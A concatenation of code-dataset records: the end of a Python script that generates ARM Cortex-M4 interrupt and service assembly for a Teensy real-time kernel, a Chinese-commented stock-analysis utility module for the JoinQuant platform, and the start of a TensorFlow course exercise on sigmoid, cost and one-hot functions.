\"@                    | R12                        |  |  Saved by interrupt response\\n\"\n  sFile += \"@          PSP+16 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R3                         |  |\\n\"\n  sFile += \"@          PSP+12 -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R2                         |  |\\n\"\n  sFile += \"@          PSP+8  -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R1                         |  |\\n\"\n  sFile += \"@          PSP+4  -> |----------------------------|  |\\n\"\n  sFile += \"@                    | R0                         |  |\\n\"\n  sFile += \"@          PSP    -> |----------------------------| /\\n\"\n  sFile += \"@\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section  .text.interrupt.SWINT, \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .global interrupt.SWINT\\n\"\n  sFile += \"  .type interrupt.SWINT, %function\\n\\n\"\n  sFile += \"interrupt.SWINT:\\n\"\n  sFile += \"@--------------------- Save preserved registers\\n\"\n  sFile += \"  push  {r5, lr}\\n\"\n  sFile += \"@--------------------- R5 <- thread SP\\n\"\n  sFile += \"  mrs   r5, psp\\n\"\n  sFile += \"@--------------------- Restore R0, R1, R2 and R3 from saved stack\\n\"\n  sFile += \"  ldmia r5, {r0, r1, r2, r3}\\n\"\n  sFile += \"@--------------------- R12 <- Address section routine\\n\"\n  sFile += \"  ldr   r12, [r5, #16]     @ 16 : 4 stacked registers before saved R12\\n\"\n  sFile += \"@--------------------- Call section routine\\n\"\n  sFile += \"  blx   r12\\n\"\n  sFile += \"@--------------------- Set return code (from R0 to R3) in stacked registers\\n\"\n  sFile += \"  stmia r5!, {r0, r1, r2, r3}    @ R5 is thread SP\\n\"\n  sFile += \"@--------------------- Set R12 stacked register to 0\\n\"\n  sFile += \"  mov   r0, #0\\n\"\n  sFile += \"  str   r0, [r5]\\n\"\n  sFile += \"@--------------------- Restore preserved registers, return from interrupt\\n\"\n  sFile += \"  pop   {r5, pc}\\n\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section  .text.direct.call.or.call.software.interrupt, \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .type direct.call.or.call.software.interrupt, %function\\n\\n\"\n  sFile += \"direct.call.or.call.software.interrupt: @ R12 contains the address of section implementation function\\n\"\n  sFile += \"@--------------------- Save preserved registers\\n\"\n  sFile += \"  push {r6, r7}\\n\"\n  sFile += \"  mrs  r6, IPSR          @ IPSR[8...0] ≠ 0 in handler mode, = 0 in thread mode\\n\"\n  sFile += \"  mov  r7, #511\\n\"\n  sFile += \"  tst  r6, r7\\n\"\n  sFile += \"  bne  direct.call\\n\"\n  sFile += \"@--------------------- Software interrupt\\n\"\n  sFile += \"  ldr  r6, = 0xE000EF00  @ Address of STIR control register\\n\"\n  sFile += \"  movs r7, # (80 - 16)   @ Software Interrupt has number #80\\n\"\n  sFile += \"  str  r7, [r6]          @ Generate Software Interrupt\\n\"\n  sFile += \"@--------------------- Wait for the exception is carried out\\n\"\n  sFile += \"wait.software.interrupt.done: @ R12 is reset by interrupt handler\\n\"\n  sFile += \"  cmp  r12, #0\\n\"\n  sFile += \"  bne  wait.software.interrupt.done\\n\"\n  sFile += \"@--------------------- Restore preserved registers\\n\"\n  sFile += \"  pop  {r6, r7}\\n\"\n  sFile += \"  bx   lr\\n\"\n  sFile += \"@--------------------- Direct call\\n\"\n  sFile += \"direct.call:\\n\"\n  sFile += \"  pop  {r6, r7}\\n\"\n  sFile += \"  bx   r12              @ in handler mode, call implementation routine directly\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateSoftwareInterruptSection (sectionName, idx):\n  sFile  = asSeparator () + \"\\n\"\n  sFile += \"  .section .text.\" + sectionName + \", \\\"ax\\\", %progbits\\n\"\n  sFile += \"  .global \" + sectionName +\"\\n\"\n  sFile += \"  .align 1\\n\"\n  sFile += \"  .type \" + sectionName +\", %function\\n\\n\"\n  sFile += sectionName +\":\\n\"\n  sFile += \"  .fnstart\\n\"\n  sFile += \"  ldr  r12, =section.\" + sectionName + \"\\n\"\n  sFile += \"  b    direct.call.or.call.software.interrupt\\n\\n\"\n  sFile += \".Lfunc_end_\" + sectionName +\":\\n\"\n  sFile += \"  .size \" + sectionName +\", .Lfunc_end_\" + sectionName +\" - \" + sectionName +\"\\n\"\n  sFile += \"  .cantunwind\\n\"\n  sFile += \"  .fnend\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateCppForBreakpointSection ():\n  s = \"#include \\\"all-headers.h\\\"\\n\\n\"\n  s += cppSeparator () + \"\\n\"\n  s += \"static void enableDebugMonitorInterruption (BOOT_MODE) {\\n\"\n  s += \"//--- Enable DebugMonitor interrupt\\n\"\n  s += \"  #define DEMCR (* ((volatile uint32_t *) 0xE000EDFC))\\n\"\n  s += \"  DEMCR |= (1 << 16) ; // Set MON_EN\\n\"\n  s += \"}\\n\\n\"\n  s += cppSeparator () + \"\\n\"\n  s += \"MACRO_BOOT_ROUTINE (enableDebugMonitorInterruption) ;\\n\\n\"\n  s += cppSeparator ()\n  return s\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateCppForSoftwareInterruptSection ():\n  s = \"#include \\\"all-headers.h\\\"\\n\\n\"\n  s += cppSeparator () + \"\\n\"\n  s += \"static void enableSoftwareInterrupt (BOOT_MODE) {\\n\"\n  s += \"//--- Enable software interrupt\\n\"\n  s += \"  NVIC_ENABLE_IRQ (ISRSlot::SWINT) ;\\n\"\n  s += \"//--- Make STIR register accessible in unprivileged mode\\n\"\n  s += \"  #define CCR (* ((volatile uint32_t *) 0xE000ED14))\\n\"\n  s += \"  CCR |= (1 << 1) ;\\n\"\n  s += \"}\\n\\n\"\n  s += cppSeparator () + \"\\n\"\n  s += \"MACRO_BOOT_ROUTINE (enableSoftwareInterrupt) ;\\n\\n\"\n  s += cppSeparator ()\n  return s\n\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef generateDisableInterruptSection (sectionName):\n  sFile  = asSeparator ()\n  sFile += \"@   SECTION - \" + sectionName + \"\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section .text.\" + sectionName + \", \\\"ax\\\", %progbits\\n\"\n  sFile += \"  .global \" + sectionName +\"\\n\"\n  sFile += \"  .align 1\\n\"\n  sFile += \"  .type \" + sectionName +\", %function\\n\\n\"\n  sFile += sectionName +\":\\n\"\n  sFile += \"  .fnstart\\n\"\n  sFile += \"@--- Save preserved registers\\n\"\n  sFile += \"  push  {r6, lr}\\n\"\n  sFile += \"@--- Save interrupt enabled state\\n\"\n  sFile += \"  mrs   r6, PRIMASK\\n\"\n  sFile += \"@--- Disable interrupt\\n\"\n  sFile += \"  cpsid i\\n\"\n  sFile += \"@--- Call section, interrupts disabled\\n\"\n  sFile += \"  bl    section.\" + sectionName + \"\\n\"\n  sFile += \"@--- Restore interrupt state\\n\"\n  sFile += \"  msr   PRIMASK, r6\\n\"\n  sFile += \"@--- Restore preserved registers and return\\n\"\n  sFile += \"  pop   {r6, pc}\\n\\n\"\n  sFile += \".Lfunc_end_\" + sectionName +\":\\n\"\n  sFile += \"  .size \" + sectionName +\", .Lfunc_end_\" + sectionName +\" - \" + sectionName +\"\\n\"\n  sFile += \"  .cantunwind\\n\"\n  sFile += \"  .fnend\\n\\n\"\n  return sFile\n\n#-----------------------------------------------------------------------------------------------------------------------\n#    ENTRY POINT\n#-----------------------------------------------------------------------------------------------------------------------\n\n#------------------------------ Interrupt dictionary\ninterruptDictionary = interrupt_names_teensy_3_6.interruptNames ()\n# print (\"Dest \" + destinationFile)\n#------------------------------ Assembly destination file\ndestinationCppFile = sys.argv [1]\n# print (\"Dest \" + destinationAssemblerFile)\n#------------------------------ Assembly destination file\ndestinationAssemblerFile = sys.argv [2]\n# print (\"Dest \" + destinationAssemblerFile)\n#------------------------------ Service scheme\nserviceScheme = sys.argv [3]\n#------------------------------ Section scheme\nsectionScheme = sys.argv [4]\n#------------------------------ Header files\nheaderFiles = []\nfor i in range (5, len (sys.argv)):\n  headerFiles.append (sys.argv [i])\n#print headerFiles\n#------------------------------ Destination file string\ncppFile = \"\"\nsFile  = \"  .syntax unified\\n\"\nsFile += \"  .cpu cortex-m4\\n\"\nsFile += \"  .thumb\\n\\n\"\n#------------------------------ Explore header files\ninterruptServiceList = []\ninterruptSectionList = []\nboolServiceSet = set ()\nserviceList = []\nsectionList = []\nfor header in headerFiles:\n  with open (header) as f:\n    for line in f:\n      splitStr = line.strip ().split (\"//$interrupt-section \")\n      if len (splitStr) == 2 :\n        interruptName = splitStr [1].strip ()\n        if interruptName in interruptDictionary :\n          interruptSectionList.append (interruptName)\n          del interruptDictionary [interruptName]\n        else:\n          print (BOLD_RED () + \"Error, interrupt '\" + interruptName + \"' does not exist, or is already assigned.\" + ENDC ())\n          sys.exit (1)\n      splitStr = line.strip ().split (\"//$interrupt-service \")\n      if len (splitStr) == 2 :\n        interruptName = splitStr [1].strip ()\n        if interruptName in interruptDictionary :\n          interruptServiceList.append (interruptName)\n          del interruptDictionary [interruptName]\n        else:\n          print (BOLD_RED () + \"Error, interrupt '\" + interruptName + \"' does not exist, or is already assigned.\" + ENDC ())\n          sys.exit (1)\n      splitStr = line.strip ().split (\"//$service \")\n      if len (splitStr) == 2 :\n        serviceName = splitStr [1].strip ()\n        serviceList.append (serviceName)\n      splitStr = line.strip ().split (\"//$bool-service \")\n      if len (splitStr) == 2 :\n        serviceName = splitStr [1].strip ()\n        serviceList.append (serviceName)\n        boolServiceSet.add (serviceName)\n      splitStr = line.strip ().split (\"//$section \")\n      if len (splitStr) == 2 :\n        sectionName = splitStr [1].strip ()\n        sectionList.append (sectionName)\n#------------------------------ Has service ?\nif (len (serviceList) > 0) and (serviceScheme == \"\") :\n  print (BOLD_RED ()\n         + \"As the project defines service(s), the makefile.json file should have a \\\"SERVICE-SCHEME\\\" \"\n         + \"entry (asoociated value: \\\"svc\\\")\"\n         +  ENDC ())\n  sys.exit (1)\n#------------------------------ Has sections ?\nif (len (sectionList) > 0) and (sectionScheme == \"\") :\n  print (BOLD_RED ()\n         + \"As the project defines section(s), the makefile.json file should have a \\\"SECTION-SCHEME\\\" \"\n         + \"entry (possible associated value: \\\"disableInterrupt\\\", \\\"bkpt\\\", \\\"swint\\\")\"\n         +  ENDC ())\n  sys.exit (1)\n#------------------------------ Services\nif serviceScheme == \"svc\" :\n  sFile += generateSVChandler ()\n  del interruptDictionary [\"SVC\"]\n  sFile += asSeparator ()\n  sFile += \"@   SERVICES\\n\"\n  idx = 1\n  for service in serviceList :\n    sFile += asSeparator () + \"\\n\"\n    sFile += \"  .section .text.\" + service + \", \\\"ax\\\", %progbits\\n\"\n    sFile += \"  .global \" + service +\"\\n\"\n    sFile += \"  .align 1\\n\"\n    sFile += \"  .type \" + service +\", %function\\n\\n\"\n    sFile += service +\":\\n\"\n    sFile += \"  .fnstart\\n\"\n    sFile += \"  svc #\" + str (idx) + \"\\n\"\n    if service in boolServiceSet :\n      sFile += \"  b   get.user.result\\n\\n\"\n    else:\n      sFile += \"  bx  lr\\n\\n\"\n    sFile += \".Lfunc_end_\" + service +\":\\n\"\n    sFile += \"  .size \" + service +\", .Lfunc_end_\" + service +\" - \" + service +\"\\n\"\n    sFile += \"  .cantunwind\\n\"\n    sFile += \"  .fnend\\n\\n\"\n    idx += 1\n  sFile += asSeparator ()\n  sFile += \"@    SERVICE DISPATCHER TABLE\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .align   2\\n\"\n  sFile += \"  .global  svc.dispatcher.table\\n\\n\"\n  sFile += \"svc.dispatcher.table:\\n\"\n  sFile += \"  .word start.phase2 @ 0\\n\"\n  idx = 1\n  for service in serviceList :\n    sFile += \"  .word service.\" + service + \" @ \" + str (idx) + \"\\n\"\n    idx += 1\n  sFile += \"\\n\"\n#------------------------------ Generate section handler\nif sectionScheme == \"bkpt\" :\n  cppFile += generateCppForBreakpointSection ()\n  sFile += generateBreakpointHandler ()\n  del interruptDictionary [\"DebugMonitor\"]\n  sFile += asSeparator ()\n  sFile += \"@   SECTIONS\\n\"\n  idx = 0\n  for section in sectionList :\n    sFile += generateBreakpointSection (section, idx)\n    idx += 1\n  sFile += asSeparator ()\n  sFile += \"@    SECTION DISPATCHER TABLE\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .global section.dispatcher.table\\n\\n\"\n  sFile += \"section.dispatcher.table:\\n\"\n  idx = 0\n  for section in sectionList :\n    sFile += \"  .word section.\" + section + \" @ \" + str (idx) + \"\\n\"\n    idx += 1\n  sFile += \"\\n\"\nelif sectionScheme == \"swint\" :\n  cppFile += generateCppForSoftwareInterruptSection ()\n  sFile += generateSoftwareInterruptandler ()\n  del interruptDictionary [\"SWINT\"]\n  sFile += asSeparator ()\n  sFile += \"@   SECTIONS\\n\"\n  idx = 0\n  for section in sectionList :\n    sFile += generateSoftwareInterruptSection (section, idx)\n    idx += 1\nelif sectionScheme == \"disableInterrupt\" :\n  for section in sectionList :\n    sFile += generateDisableInterruptSection (section)\nelif len (sectionList) > 0 :\n  print (BOLD_RED ()\n         + \"In the makefile.json file, the \\\"SECTION-SCHEME\\\" key has an invalid \\\"\" + sectionScheme + \"\\\" value; \"\n         + \"(possible value: \\\"disableInterrupt\\\", \\\"swint\\\")\"\n         +  ENDC ())\n  sys.exit (1)\n#------------------------------ Interrupts as service\nfor interruptServiceName in interruptServiceList :\n  sFile += asSeparator ()\n  sFile += \"@   INTERRUPT - SERVICE: \" + interruptServiceName + \"\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section .text.interrupt.\" + interruptServiceName + \", \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .align  1\\n\"\n  sFile += \"  .global interrupt.\" + interruptServiceName + \"\\n\"\n  sFile += \"  .type interrupt.\" + interruptServiceName + \", %function\\n\\n\"\n  sFile += \"interrupt.\" + interruptServiceName + \":\\n\"\n  sFile += \"@----------------------------------------- Save preserved registers\\n\"\n  sFile += \"  push  {r4, lr}\\n\"\n  sFile += \"@----------------------------------------- Activity led On\\n\"\n  sFile += \"  ldr   r0, =0x400FF084  @ Address of GPIOC_PSOR control register\\n\"\n  sFile += \"  movs  r1, # (1 << 5)   @ Port D13 is PORTC:5\\n\"\n  sFile += \"  str   r1, [r0]         @ turn on\\n\"\n  sFile += \"@----------------------------------------- R4 <- running task context\\n\"\n  sFile += \"  ldr   r4, =var.running.task.control.block.ptr\\n\"\n  sFile += \"  ldr   r4, [r4]\\n\"\n  sFile += \"@----------------------------------------- Call Interrupt handler\\n\"\n  sFile += \"  bl    interrupt.service.\" + interruptServiceName + \"\\n\"\n  sFile += \"@----------------------------------------- Perform the context switch, if needed\\n\"\n  sFile += \"  b     handle.context.switch\\n\\n\"\n#------------------------------ Interrupts as section\nfor interruptSectionName in interruptSectionList :\n  sFile += asSeparator ()\n  sFile += \"@   INTERRUPT - SECTION: \" + interruptSectionName + \"\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section .text.interrupt.\" + interruptSectionName + \", \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .align  1\\n\"\n  sFile += \"  .global interrupt.\" + interruptSectionName + \"\\n\"\n  sFile += \"  .type interrupt.\" + interruptSectionName + \", %function\\n\\n\"\n  sFile += \"interrupt.\" + interruptSectionName + \":\\n\"\n  sFile += \"@----------------------------------------- Activity led On\\n\"\n  sFile += \"  ldr   r0, =0x400FF084  @ Address of GPIOC_PSOR control register\\n\"\n  sFile += \"  movs  r1, # (1 << 5)   @ Port D13 is PORTC:5\\n\"\n  sFile += \"  str   r1, [r0]         @ turn on\\n\"\n  sFile += \"@----------------------------------------- Goto interrupt function\\n\"\n  sFile += \"  b     interrupt.section.\" + interruptSectionName + \"\\n\\n\"\n#------------------------------ Unused interrupts\nfor unusedInterruptName in interruptDictionary.keys () :\n  sFile += asSeparator ()\n  sFile += \"@   INTERRUPT - UNUSED: \" + unusedInterruptName + \"\\n\"\n  sFile += asSeparator () + \"\\n\"\n  sFile += \"  .section .text.interrupt.\" + unusedInterruptName + \", \\\"ax\\\", %progbits\\n\\n\"\n  sFile += \"  .align  1\\n\"\n  sFile += \"  .type interrupt.\" + unusedInterruptName + \", %function\\n\"\n  sFile += \"  .global interrupt.\" + unusedInterruptName + \"\\n\\n\"\n  sFile += \"interrupt.\" + unusedInterruptName + \":\\n\"\n  sFile += \"  movs r0, #\" + str (interruptDictionary [unusedInterruptName]) + \"\\n\"\n  sFile += \"  b    unused.interrupt\\n\\n\"\n#------------------------------ Write destination file\nsFile += asSeparator ()\nf = open (destinationAssemblerFile, \"wt\")\nf.write (sFile)\nf.close()\nf = open (destinationCppFile, \"wt\")\nf.write (cppFile)\nf.close()\n\n#-----------------------------------------------------------------------------------------------------------------------\n","repo_name":"pierremolinaro/real-time-kernel-teensy","sub_path":"dev-files/build_interrupt_handlers.py","file_name":"build_interrupt_handlers.py","file_ext":"py","file_size_in_byte":30336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4747780860","text":"\n# -*- coding: utf-8 -*-\n\n\"\"\"\n判断运行环境\n通过检测环境变量\n\"\"\"\n\n# 基本包\n\ntry:\n    #策略中必须导入kuanke.user_space_api包\n    from kuanke.user_space_api import *\nexcept:\n    pass\n\nimport numpy as np\nimport pandas as pd\nimport math\nimport os\n\n# 聚源数据、交易日\nfrom jqdata import jy\n\n# 日期时间\nimport time \nfrom datetime import timedelta,date,datetime\n\nIN_BACKTEST=not(os.environ.get(\"JUPYTERHUB_API_TOKEN\") or os.environ.get(\"JPY_API_TOKEN\"))\n\n\n\n\n#检测文件      \ndef exists_file_in_research(file_name):\n    \"\"\"\n    研究中检测文件，使用os.path.exists函数\n    file_name：文件名、含路径，str\n    \"\"\"\n    return os.path.exists(file_name) \n\n\n#检测文件      \ndef exists_file_in_backtest(file_name):\n    \"\"\"\n    策略中检测文件，使用read_file函数\n    file_name：文件名、含路径，str\n    \"\"\"\n    try:\n        # 尝试读取文件，成功则文件存在\n        read_file(file_name)\n        return True    \n    except:\n        # 出现错误，则文件不存在\n        return False\n\n    \nexists_file=exists_file_in_backtest if IN_BACKTEST else exists_file_in_research\n  \n    \ndef get_volatility(df,years=None,days=30):\n    \"\"\"\n    波动率\n    df：数据表，df\n    years：以年为单位的时段，int\n    days：以年为单位的时段，int\n    返回：波动率，float\n    \"\"\"\n    # 按照年取数据\n    if not years is None:\n        start_date=df.index[-1].date()-timedelta(365*years)\n        df=df[df.index>=str(start_date)]  \n\n    # 按照天数取数据\n    if not days is None:\n        start_date=df.index[-1].date()-timedelta(days+1)\n        df=df[df.index>=str(start_date)]  \n\n    # 无数据返回Nan\n    if len(df)==0:\n        return float(np.NaN)\n\n    #前一日收盘价\n    df['pre']=df.iloc[:,0].shift(1)\n    # 清除无效数据\n    df=df.dropna()\n    # 日收益率(当日收盘价/前一日收盘价，然后取对数)\n    df['day_volatility']=np.log(df['pre']/df.iloc[:,0])\n    # 波动率（年化收益率的方差*sqrt(250)）\n    volatility=df['day_volatility'].std()*math.sqrt(250.0)*100\n\n    # 返回值\n    return round(volatility,2) \n\n\ndef get_annualized(df,years=5): \n    \"\"\"\n    年化回报率\n    df：数据表，df\n    years：以年为单位的时段，int\n    返回：回报率，float\n    \"\"\"\n    # 按照年取数据\n    if not years is None:\n        start_date=df.index[-1].date()-timedelta(365*years)\n        df=df[df.index>=str(start_date)]\n    try:\n        # 总收益率\n        annualized=(df.iloc[:,0][-1]-df.iloc[:,0][0])/df.iloc[:,0][0]\n        # 年化收益率\n        annualized=(pow(1+annualized,250/(years*250.0))-1)*100\n    except:\n        annualized=float(np.NaN) \n    # 返回报率\n    return round(annualized,2)        \n\n\ndef get_divid(code,end_date):\n    \"\"\"\n    指定日期股息率,jy版本\n    code：股票代码,list or str\n    end_date：截至日期\n    返回：股息率、市值\n    \"\"\"\n    # 判断代码是str还是list\n    if not type(code) is list:\n        code=[code]\n\n    #聚宽代码转换为jy内部代码    \n    InnerCodes=Code.stk_to_jy(code)\n    #获取所有成份股派息总额\n    #数据表    \n    df=pd.DataFrame()\n    #因jy每次最多返回3000条数据，所以要多次查询\n    #偏移值\n    offset=0    \n    while True:\n        #查询语句\n        q=query(\n            #内部代码\n            jy.LC_Dividend.InnerCode,\n            #派息日期\n            jy.LC_Dividend.ToAccountDate,\n            #派息总额\n            jy.LC_Dividend.TotalCashDiviComRMB,\n        ).filter(\n            # 已分红\n            jy.LC_Dividend.IfDividend==1,\n            # 获取指定日期前所有分红\n            jy.LC_Dividend.ToAccountDate<=end_date,\n            jy.LC_Dividend.InnerCode.in_(InnerCodes)\n        #偏移         \n        ).offset(offset)\n        #查询    \n        temp_df=jy.run_query(q)  \n        if len(temp_df)==0:\n            break\n        #追加数据\n        df=df.append(temp_df)\n        #偏移值每次递增3000    \n        offset+=3000\n\n    if len(df)==0:\n        div=float('NaN')\n    else:\n        # 生成排序字段  \n        df['sort']=df['InnerCode'].astype('str')+df['ToAccountDate'].astype('str').str[0:10]\n        df=df.sort('sort') \n        # 只保留最后一次派息数据\n        df=df.drop_duplicates('InnerCode',take_last=True) #keep='last'\n        # 返回合计的派息数\n        div=df['TotalCashDiviComRMB'].sum()\n\n    #获取指数总市值 \n    q=query(\n        #市值\n        valuation.market_cap\n    ).filter(\n        valuation.code.in_(code)\n    )\n    #获取各成份股市值(亿元)\n    df=get_fundamentals(q,end_date)\n    #返回合计的成份股总市值（亿元）\n    cap=df['market_cap'].sum()\n\n    try:\n        #返回股息率\n        return div/cap/100000000*100.0,cap\n    except:\n        return float('NaN'),float('NaN')\n\n        \n#对源数据按照周、月、年筛选 \n#period：D、W、M分别为日线、周线、月线\ndef data_to_period(df,period='W'):\n    df['date']=df.index\n    df=df.resample(period,how='last')\n    df.index=df['date']\n    del df['date']\n    df=df.dropna()\n    df.index.name=None\n    return df    \n\n\n#四分位去除负值、极值\ndef data_del_IQR(p,k=0.5):\n    #去除负值\n    x=np.array(p[p>0])\n    #排序\n    x=np.sort(x)\n    #取中值\n    m=np.median(x)\n    #按照m分为两个数据表\n    #取小于m的数据表中值\n    q1=np.median(x[x<=m])\n    #取大于m的数据表中值\n    q3=np.median(x[x>m])\n    #计算上下临界值\n    d=q1-k*(q3-q1)\n    u=q3+k*(q3-q1) \n    #取大于d小于u且大于0的数据，并去除空值\n    return p[(p>d)&(p<u)&(p>0)].dropna()\n\n\n#四分位填充极值\ndef data_fill_IQR(p,k=0.734):\n    x=np.array(p)\n    x=np.sort(x)\n    m=np.median(x)\n    q1=np.median(x[x<=m])\n    q3=np.median(x[x>m])\n    d=q1-k*(q3-q1)\n    u=q3+k*(q3-q1)\n    p[p<=d]=d\n    p[p>=u]=u\n    return p\n\n\n\n\n# 日期转换成时间戳\ndef date_to_timestamp(date):\n    return int(time.mktime(time.strptime(date,'%Y-%m-%d')))\n\n\n# 时间戳转换成日期\ndef timestamp_to_date(timestamp):\n    return time.strftime('%Y-%m-%d',time.localtime(timestamp))\n\n\n\nclass Code(object):\n    \n    @classmethod\n    def __secu_to_jq(cls,code):\n        if code.endswith('SH'):\n            return code.replace('SH','XSHG')\n        if code.endswith('SZ'):\n            return code.replace('SZ','XSHE')\n        \n    @classmethod\n    def __jq_to_secu(cls,code):\n        if code.endswith('XSHG'):\n            return code.replace('XSHG','SH')\n        if code.endswith('XSHE'):\n            return code.replace('XSHE','SZ')\n        \n    @classmethod\n    def secu_to_jq(cls,code):\n        if type(code) is str:\n            return cls.__secu_to_jq(code)\n        elif type(code) is list:\n            return [cls.__secu_to_jq(item) for item in code]\n        \n    @classmethod\n    def jq_to_secu(cls,code):\n        if type(code) is str:\n            return cls.__jq_to_secu(code)\n        elif type(code) is list:\n            return [cls.__jq_to_secu(item) for item in code]\n\n    @classmethod        \n    def __secu_to_jy(cls,codes,category=1):      \n        df=pd.DataFrame()\n        #因jy每次最多返回3000条数据，所以要多次查询\n        #偏移值\n        offset=0    \n        while True:\n            q=query(\n                #内部代码\n                jy.SecuMain.InnerCode,\n            ).filter(\n                #去除聚宽代码后缀\n                jy.SecuMain.SecuCode.in_(codes),\n                #限定查询股票\n                jy.SecuMain.SecuCategory==category\n                #偏移         \n            ).offset(offset)\n            #查询    \n            temp_df=jy.run_query(q)  \n            #无数据时退出\n            if len(temp_df)==0:\n                break\n            #追加数据\n            df=df.append(temp_df)\n            #偏移值每次递增3000    \n            offset+=3000    \n        #返回代码list\n        return df.InnerCode.tolist()    \n    \n    @classmethod        \n    def idx_to_jy(cls,code):\n        if type(code) is str:\n            return cls.__secu_to_jy([code[0:6]],category=4)[0]\n        elif type(code) is list:\n            return cls.__secu_to_jy([item[0:6] for item in code],category=4)\n        \n    @classmethod        \n    def stk_to_jy(cls,code):\n        if type(code) is str:\n            return cls.__secu_to_jy([code[0:6]],category=1)[0]\n        elif type(code) is list:\n            return cls.__secu_to_jy([item[0:6] for item in code],category=1)\n                ","repo_name":"dgczy/jqQuant","sub_path":"tl.py","file_name":"tl.py","file_ext":"py","file_size_in_byte":8525,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"33471810684","text":"import math\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nfrom tensorflow.python.framework import ops\nfrom Week23.tf_utils import load_dataset, random_mini_batches, convert_to_one_hot, predict\n\ny_hat = tf.constant(36, name='y_hat')            # Define y_hat constant. Set to 36.\ny = tf.constant(39, name='y')                    # Define y. Set to 39\nloss = tf.Variable((y - y_hat)**2, name='loss')  # Create a variable for the loss\ninit = tf.global_variables_initializer()         # When init is run later (session.run(init)),\n                                               # the loss variable will be initialized and ready to be computed\nwith tf.Session() as session:                    # Create a session and print the output\n    session.run(init)                            # Initializes the variables\n    print(session.run(loss))                     # Prints the loss\n\n\na = tf.constant(2)\nb = tf.constant(10)\nc = tf.multiply(a,b)\nsess = tf.Session()\nprint(sess.run(c))\nx = tf.placeholder(tf.int64, name = 'x')\nprint(sess.run(2 * x, feed_dict = {x: 3}))\nsess.close()\n\n# GRADED FUNCTION: linear_function\n\ndef linear_function():\n    \"\"\"\n    Implements a linear function:\n            Initializes W to be a random tensor of shape (4,3)\n            Initializes X to be a random tensor of shape (3,1)\n            Initializes b to be a random tensor of shape (4,1)\n    Returns:\n    result -- runs the session for Y = WX + b\n    \"\"\"\n    np.random.seed(1)\n    ### START CODE HERE ### (4 lines of code)\n    X = tf.constant(np.random.randn(3,1), name = \"X\")\n    W = tf.constant(np.random.randn(4,3), name = \"W\")\n    b = tf.constant(np.random.randn(4,1), name  = \"b\")\n    Y = tf.add(tf.matmul(W, X), b)\n    ### END CODE HERE ###\n    # Create the session using tf.Session() and run it with sess.run(...) on the variable you want to calculate\n    ### START CODE HERE ###\n    sess = tf.Session()\n    result = sess.run(Y)\n    ### END CODE HERE ###\n    # close the session\n    sess.close()\n    return result\n\nprint( \"result = \" + str(linear_function()))\n\n# GRADED FUNCTION: sigmoid\n\ndef sigmoid(z):\n    \"\"\"\n    Computes the sigmoid of z\n    Arguments:\n    z -- input value, scalar or vector\n    Returns:\n    results -- the sigmoid of z\n    \"\"\"\n    ### START CODE HERE ### ( approx. 4 lines of code)\n    # Create a placeholder for x. Name it 'x'.\n    x = tf.placeholder(tf.float32, name = \"x\")\n    # compute sigmoid(x)\n    sigmoid = tf.sigmoid(x)\n    # Create a session, and run it. Please use the method 2 explained above.\n    # You should use a feed_dict to pass z's value to x.\n    with tf.Session() as sess:\n        # Run session and call the output \"result\"\n        result = sess.run(sigmoid, feed_dict = {x:z})\n    ### END CODE HERE ###\n    return result\nprint (\"sigmoid(0) = \" + str(sigmoid(0)))\nprint (\"sigmoid(12) = \" + str(sigmoid(12)))\n\n# GRADED FUNCTION: cost\n\ndef cost(logits, labels):\n    \"\"\"\n    Computes the cost using the sigmoid cross entropy\n    Arguments:\n    logits -- vector containing z, output of the last linear unit (before the final sigmoid activation)\n    labels -- vector of labels y (1 or 0)\n    Note: What we've been calling \"z\" and \"y\" in this class are respectively called \"logits\" and \"labels\"\n    in the TensorFlow documentation. So logits will feed into z, and labels into y.\n\n    Returns:\n    cost -- runs the session of the cost (formula (2))\n    \"\"\"\n    ### START CODE HERE ###\n    # Create the placeholders for \"logits\" (z) and \"labels\" (y) (approx. 2 lines)\n    z = tf.placeholder(tf.float32, name = \"z\")\n    y = tf.placeholder(tf.float32, name = \"y\")\n    # Use the loss function (approx. 1 line)\n    cost = tf.nn.sigmoid_cross_entropy_with_logits(logits = z, labels = y)\n    # Create a session (approx. 1 line). See method 1 above.\n    sess = tf.Session()\n    # Run the session (approx. 1 line).\n    cost = sess.run(cost, feed_dict = {z:logits, y:labels})\n    # Close the session (approx. 1 line). See method 1 above.\n    sess.close()\n    ### END CODE HERE ###\n    return cost\n\nlogits = sigmoid(np.array([0.2,0.4,0.7,0.9]))\ncost = cost(logits, np.array([0,0,1,1]))\nprint (\"cost = \" + str(cost))\n\n# GRADED FUNCTION: one_hot_matrix\n\ndef one_hot_matrix(labels, C):\n    \"\"\"\n    Creates a matrix where the i-th row corresponds to the ith class number and the jth column\n    corresponds to the jth training example. So if example j had a label i. Then entry (i,j)\n    will be 1.\n    Arguments:\n    labels -- vector containing the labels\n    C -- number of classes, the depth of the one hot dimension\n    Returns:\n    one_hot -- one hot matrix\n    \"\"\"\n    ### START CODE HERE ###\n    # Create a tf.constant equal to C (depth), name it 'C'. (approx. 1 line)\n    C = tf.constant(value = C, name = \"C\")\n    # Use tf.one_hot, be careful with the axis 